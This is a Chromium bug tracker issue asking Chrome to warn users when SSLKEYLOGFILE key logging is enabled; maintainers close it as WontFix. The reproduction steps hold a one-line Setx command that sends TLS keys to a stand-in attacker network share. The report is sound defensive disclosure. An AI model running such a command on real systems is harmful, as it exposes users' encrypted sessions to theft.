New issue
Advanced search Search tips

Issue 804473 link

Starred by 2 users

Issue metadata

Status: WontFix
Owner: ----
Closed: Jan 2018
Components:
EstimatedDays: ----
NextAction: ----
OS: Windows
Pri: 2
Type: Feature



Sign in to add a comment

Chrome should show a warning when SSLKEYLOGFILE tracing enabled

Reported by bkhow...@gmail.com, Jan 22 2018

Issue description

UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36

Steps to reproduce the problem:
1. Setx SSLKEYLOGFILE \\attacker\shr\allyourkeys [/m]
2. use chrome
3. attacker has all your keys

What is the expected behavior?
The browser UI should notify the user that all his keys are being logged to the attacker's server (or user's own debug directory, etc).

What went wrong?
The capability to log TLS premaster keys to SSLKEYLOGFILE is critical debugging capability, and highly useful for analyzing captures with wireshark.  However, the Browser UI should provide visual feedback to the user to notify/remind them that they are logging all TLS key material.  In the case of a malicious attacker who manages to set a system or user environment variable, the user would have no indication that the confidentiality of his sessions has been compromised.  The browser is displaying "Secure" when it in fact is writing the keys somewhere.

Did this work before? No 

Chrome version: 63.0.3239.132  Channel: stable
OS Version: 10.0
Flash Version: 

Possibly this feature should not exist in the mainstream version of Chrome, for example it is disabled in the Tor browser.
 
Components: Internals>Network>SSL
Labels: -Type-Bug-Security -Restrict-View-SecurityTeam Type-Feature
Status: Untriaged (was: Unconfirmed)
Summary: Chrome should show a warning when SSLKEYLOGFILE tracing enabled (was: Address bar should show a warning when SSLKEYLOGFILE tracing enabled)
Reclassifying as a feature request.

An attacker with the ability to control your browser's execution environment can perform all manner of attacks.
https://chromium.googlesource.com/chromium/src/+/master/docs/security/faq.md#Why-arent-compromised_infected-machines-in-Chromes-threat-model
Status: WontFix (was: Untriaged)
Given that we don't treat --log-net-log as a security critical flag either, and given the Chrome Security FAQ, I'm marking WontFix/WorkingAsIntended.

Sign in to add a comment